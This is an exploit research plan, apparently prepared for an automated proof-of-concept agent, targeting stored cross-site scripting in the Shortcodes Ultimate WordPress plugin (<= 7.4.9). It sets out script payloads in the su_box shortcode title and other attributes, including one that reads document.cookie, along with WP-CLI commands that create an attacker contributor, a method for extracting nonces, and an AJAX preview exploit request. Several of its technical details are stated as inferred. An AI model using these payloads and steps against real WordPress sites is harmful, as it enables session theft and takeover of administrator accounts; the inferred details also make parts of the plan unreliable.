WP Shortcodes Plugin — Shortcodes Ultimate <= 7.4.9 - Authenticated (Contributor+) Stored Cross-Site Scripting via su_box Shortcode

This research plan outlines the steps required to demonstrate the Stored Cross-Site Scripting (XSS) vulnerability in the Shortcodes Ultimate plugin (version <= 7.4.9).

1. Vulnerability Summary

The Shortcodes Ultimate plugin fails to sanitize or escape user-supplied attributes within the [su_box] shortcode. While the plugin provides a variety of shortcodes to enhance page layout, the rendering logic for the "Box" (su_box) shortcode inserts attribute values (specifically the title and potentially others) directly into the HTML output without passing them through WordPress escaping functions like esc_html() or esc_attr(). This allows a user with Contributor permissions or higher to embed malicious JavaScript within a post, which then executes in the context of any user (including Administrators) who views that post.

2. Attack Vector Analysis

• Vulnerable Shortcode: [su_box]
• Vulnerable Attribute: title (Inferred as the primary sink for su_box).
• Authentication Level: Contributor+ (Users who can create or edit posts).
• Payload Delivery: The payload is stored in the post_content field of the WordPress database via the standard post-editing interface.
• Target: Administrators or other site visitors viewing the affected post.

3. Code Flow

1. Input: A Contributor user saves a post containing: [su_box title="<script>alert(1)</script>"]Content[/su_box].
2. Processing: When the post is rendered (frontend or preview), WordPress calls do_shortcode().
3. Shortcode Handling: The plugin's registered handler for su_box (typically found in includes/functions-shortcodes.php, referenced by includes/class-shortcodes-ultimate.php's dependency loader) parses the attributes.
4. Sink: The handler generates HTML for the box. It takes the title attribute and concatenates it into a <div> or <span> header tag.
5. Output: Because the plugin fails to use esc_html() on the $atts['title'] variable, the raw <script> tag is sent to the browser.

4. Nonce Acquisition Strategy

While the primary exploit (saving a post) uses standard WordPress post nonces, the plugin's "Shortcode Generator" and "Preview" features use plugin-specific nonces. If the PoC agent needs to use the AJAX previewer to demonstrate the XSS:

1. Identify Script Loading: The Shortcode Generator is enqueued in inc/core/generator.php via Su_Generator::enqueue_assets().
2. Locate Nonce: The generator UI and AJAX handlers rely on a nonce localized in the WordPress admin head or footer.
3. Extraction Path:
   • Create a post with any shortcode: wp post create --post_type=post --post_status=publish --post_content='[su_box]test[/su_box]' --post_author=CONTRIBUTOR_ID.
   • Navigate to the Post Edit screen (as Contributor).
   • Use browser_eval to find the localized data.
   • JS Variable: window.SUGL10n?.nonce (Inferred from common naming conventions in this plugin and inc/core/generator.php's use of wp_localize_script).
   • Alternative: The plugin often uses the global ajaxurl and a nonce named su_generator_nonce or simply nonce within the SUGL10n object.

5. Exploitation Strategy

The goal is to inject a script that triggers when an Administrator views the Contributor's post.

Step 1: Inject via Post Creation

• Action: Create a new post as a Contributor.
• HTTP Request: http_request (POST to wp-admin/post.php).
• Payload:

  [su_box title='Box Title<script>alert(document.cookie)</script>']Content[/su_box]
  

• Parameters:
  • post_title: XSS Test
  • content: [su_box title='<script>alert("XSS")</script>']Box Content[/su_box]
  • action: editpost
  • post_type: post
  • Status: pending (for Review)

Step 2: Trigger via Administrator View

• Action: Navigate to the post as an Administrator.
• URL: /?p=POST_ID or /wp-admin/post.php?post=POST_ID&action=edit.

6. Test Data Setup

1. User Creation:
   • wp user create attacker attacker@example.com --role=contributor --user_pass=password123
2. Plugin Setup:
   • Ensure Shortcodes Ultimate is active.
3. Target Content:
   • Create a draft post: wp post create --post_type=post --post_status=draft --post_title="Vulnerable Post" --post_author=attacker.

7. Expected Results

• The HTTP response when viewing the post as an Administrator should contain the literal string <script>alert("XSS")</script> inside the HTML class or title area of the su_box element.
• In a browser environment, an alert box should appear showing "XSS" or the document cookies.

8. Verification Steps

1. DB Check: Use WP-CLI to confirm the payload is stored raw.
   • wp db query "SELECT post_content FROM wp_posts WHERE post_title='XSS Test'"
2. Response Verification:
   • Fetch the post frontend URL using http_request.
   • Regex check the body for: <div class="su-box-title">.*<script>alert (The exact class name su-box-title is inferred based on the plugin's CSS patterns in admin/css/admin.css).

9. Alternative Approaches

If the title attribute is sanitized in version 7.4.9, test other common attributes:

• Box Color: [su_box title="Title" box_color='"><script>alert(1)</script>'] (Check if used in inline styles).
• Class Attribute: [su_box title="Title" class='"><script>alert(1)</script>']. Note that includes/functions-helpers.php shows su_get_css_class uses esc_attr, but su_box might implement its own class handling.
• AJAX Preview Exploit: Use wp_ajax_su_generator_preview to trigger the XSS in the admin dashboard.
  • Endpoint: /wp-admin/admin-ajax.php
  • Data: action=su_generator_preview&shortcode=[su_box title='<script>alert(1)</script>']&nonce=NONCE.